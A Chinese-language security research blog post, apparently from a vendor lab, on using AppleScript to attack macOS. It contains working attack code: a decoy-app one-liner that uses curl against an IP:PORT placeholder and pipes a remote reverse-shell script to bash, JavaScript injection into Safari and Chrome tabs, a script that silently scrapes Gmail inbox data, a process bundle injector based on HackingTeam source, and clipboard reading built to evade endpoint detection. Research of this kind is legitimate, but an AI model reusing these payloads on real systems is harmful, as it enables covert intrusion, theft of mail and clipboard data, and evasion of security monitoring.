基于AppleScript的利用技术

背景

在恶意网络活动研究领域,针对个人终端的攻击Windows总是独占鳌头,但近年来MacOS的终端数上涨,让很多攻击团伙也开始聚焦针对MacOS的恶意软件利用,但即便针对MacOS的攻击,对手也倾向使用python/shell类脚本,恶意文档扩展一类的控制方案或入口利用。而AppleScript这一MacOS的内置脚本语言至今已沿用接近27年,却在安全研究领域鲜有人提及。我们在日常的研究工作中对基于AppleScript的恶意软件利用技术进行了适当总结和狩猎回顾,并提出一个依托AppleScript独有特性的攻击方法。

AppleScript特点

AppleScript是MacOS的特有脚本语言,甚至在iOS或者iPadOS上都不能使用,且作为一门脚本语言AppleScript花里胡哨的"自然语言"古怪设计思路也常被开发者诟病,AppleScript试图以humanized的方式书写但又强硬规定了语法,导致代码及其冗长且背离自然语言书写思路。

如在当前目录下创建文件test,AppleScript基础语法书写应为:

tell application "Finder"
	set selection to make new file at (get insertion location) with properties {name:"test"}
end tell

此外,由于AppleScript底层需要通过事件管理器(Apple Event Manager)进行构造和发送Apple事件,他的执行效率也极低,所以在实际场景中无论是用户还是管理员,都极少使用AppleScript。

从AppleScript调用Apple Event Manager能看出来,其核心是为了进行MacOS之间应用通信和自动化工作,所以通过0用户交互进行应用通信成为AppleScript的最大特点,只要脚本语言中设置好节点内容,可以再无人工参与的情况下进行任何MacOS下的基本操作和图形交互。

自动化应用通信加上用户免交互,二者叠加可以说是为攻击者提供了天然的鱼叉投递和后渗透土壤,没有任何"漏洞利用"能比"合法"使用任意流行应用进行无受害者参与的攻击路径更有效,所以虽然AppleScript在开发者,用户侧并不受待见,但在攻击侧,通过合理使用AppleScript往往能无往不利,而且不幸的是,Apple对于AppleScript安全的态度也很疲软。

AppleScript Malware的常规利用

文件伪造

由于AppleScript可以进行应用通信且无感的特性,通过Script Editor导出生成要执行的恶意AppleScript为应用文件,配合适当的icon和Unicode欺骗即可起到很好的诱饵投递效果。

do shell script "s=IP:PORT; curl -s $s/real.png | open -f -a Preview.app & curl -s $s/revscript | bash -"

AppleScript通过请求远端真实图片内容,用preview加载图片显示,达到正常的MacOS下图片预览效果的同时执行远端反弹脚本。

由于生成文件本质是应用文件,所以会在dock栏中显示图标,在app的info.plist中声明NSUIElement隐藏即可:

<key>NSUIElement</key>
<string>1</string>

浏览器注入

在2016年发现与神童lokihardt撞洞的CVE-2017-2361挖掘过程中,发现Webkit跳转调用HelpViewer支持执行AppleScript,在该场景中可实现通过浏览器入口触发js代码执行任意AppleScript,后官方修复HelpViewer的Handler "x-help-script"和跳转xss问题,但依旧保留了通过Apple Events调用JavaScript的特性,故当AppleScript应用投入成功后,可对任何支持Apple Events的浏览器(如Safari,Chrome)进行"合法"注入。

Injection PoC for Safari:

tell application "Safari"
	set list_of_windows to every window # get every open window
	
	repeat with a_window in list_of_windows # iterate through all open windows
		set tab_list to every tab in a_window # grab all tabs
		
		repeat with aim_tab in tab_list
			set aim_url to the URL of aim_tab
			if "http://noahblog.360.cn" is in aim_url then
				do JavaScript "alert(1);" in aim_tab
			end if
		end repeat
	end repeat
end tell

由于AppleScript的"自然语言"设计思路,使得很多需要监控键鼠和窗口聚焦的交互问题可以通过代码很好解决,在实际利用中,进行合理场景优化完全可以做到0感知注入效果,此处以盗取Gmail邮件为例。

Steal Gmail PoC for Chrome:

tell application "Google Chrome"
	set list_of_windows to every window
	repeat with a_window in list_of_windows
		set tab_list to every tab in a_window
		repeat with aim_tab in tab_list
			set aim_url to the URL of aim_tab
			
			if "https://mail.google.com/" is in aim_url then
				repeat while aim_tab's id is equal to a_window's active tab's id
					delay 3 
				end repeat # 等待用户移开标签页焦点
				set output to execute aim_tab javascript "function payload(){for(var e={},t=document.querySelectorAll(\"td.yX.xY\"),l=0;l<t.length;l++){var n=t[l].textContent,r=t[l].lastElementChild.firstElementChild.getAttribute(\"email\"),a=t[l].lastElementChild.firstElementChild.getAttribute(\"name\");e[l]={Email_Address:r,Sender_Name:a,Subject:n}}alert(JSON.stringify(e[0]));}payload();;"
				
				return output
			end if
		end repeat
	end repeat
end tell

Bundle Injection

早在2015年意大利网络军火商HackingTeam被攻击的泄露资料中,我们就发现其RCS就积极使用该技术,通过AppleScript加载目标并进行bundle注入。

查看其plist可知通过AppleScript注入的入口:

参考HackingTeam RCS源码,很容易写出Injector PoC:

#import <Foundation/Foundation.h>
#import <Carbon/Carbon.h>
#import <ScriptingBridge/ScriptingBridge.h>

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc != 2)
        {
            printf(“injector pid\n”);
            return 1;
        }
        TEST *test = [[TEST alloc] init];
        pid_t pid = atoi(argv[1]);
        SBApplication* sbApp = [SBApplication applicationWithProcessIdentifier:pid];
        [sbApp setSendMode:kAENoReply | kAENeverInteract | kAEDontRecord];
        [sbApp sendEvent:kASAppleScriptSuite id:kGetAEUT parameters:0];

        // Injecting
        [sbApp setSendMode:kAENoReply | kAENeverInteract | kAEDontRecord];
        id injectReply = [sbApp sendEvent:‘OPNe’ id:‘open’ parameters:0];
        if (injectReply != nil) {
            NSLog(@“unexpected injectReply: %@“, injectReply);
        }
        [[NSProcessInfo processInfo]disableSuddenTermination];
    }
    return 0;
}

通过AppleScript Hook进行检测对抗

AppleScript提供了非常多样化的执行方式,这里进行总结:

  • 执行scpt工程原文件
  • 执行编译后的Application文件
  • 通过Mail.app的邮件规则直接执行AppleScript脚本
  • 通过osascript编译器执行
  • 无文件内存执行
  • 通过Automator自动操作服务执行
  • 通过目录行为绑定执行
  • 通过Finder服务执行
  • 通过Calendar事件执行

多样化的执行方式给攻击手段和入口提供了不同的可能性,但最终的执行都将回归于osascript编译,然后通过Apple Event Manager构造发送Apple事件。

大部分在MacOS上活跃的恶意软件均为Object-C或一些脚本语言编写,若使用第三方安全软件如知名安全团队Object-See旗下的ProcessMonitor,FileMonitor,KnockKnock等产品,都能非常轻易的捕获常见的恶意行为,原因是自从Catalina更新后,Apple要求所有安全供应商和开发者都接入EndpointSecurity和SystemExtensions框架,弃用内核扩展改用系统扩展意味着代码将在用户空间中运行,而检测点也意味着更容易被安全产品捕捉,例如通过Apple Events的事件性行为,由于AppleScript基于Apple Event Manager,这也意味着常规的AppleScript写法都会被检测。

然而,AppleScript可以直接混用代码达到无Apple Events执行的效果,尤其在Yosemite之后AppleScript访问原生Cocoa API的权限更大, 绕过安全框架对Apple Events的检测则非常容易。

以下给出由objc为例的记录剪贴板PoC:

use AppleScript version "2.4"
use scripting additions
use framework "Foundation"
use framework "Appkit"

property NSString : a reference to current application's NSString
property NSArry : a reference to current application's NSArray
property NSPasteboardTypeString : a reference to current application's NSPasteboardTypeString
property NSFileManage : a reference to current application's NSFileManager
property NSPasteboard : a reference to current application's NSPasteboard

set aList to {}
set fileManager to NSFileManager's defaultManager()
set pdGen to NSPasteboard's generalPasteboard()
set pdItems to pdGen's pasteboardItems()
set str to pdGen's stringForType:NSPasteboardTypeString

该思路最好的地方在于绕过检测的同时完成了无文件执行,换句话说,通过AppleScript Hook住原生Cocoa框架,我们无需编译创建MachO bin(常规编译)或者MachO app(生成app),从而在代码侧直接执行达到无文件落地的目的,而且由于MacOS的特殊性,机器环境所支持的语言非常多,除objc外,python,shell,原生MacOS bundle都可以提供不错的执行条件。

Reference

https://github.com/hackedteam/core-macos/blob/master/core/RCSMCore.m
https://attack.mitre.org/techniques/T1155/
https://objective-see.com/blog.html#blogEntry6

Show Comments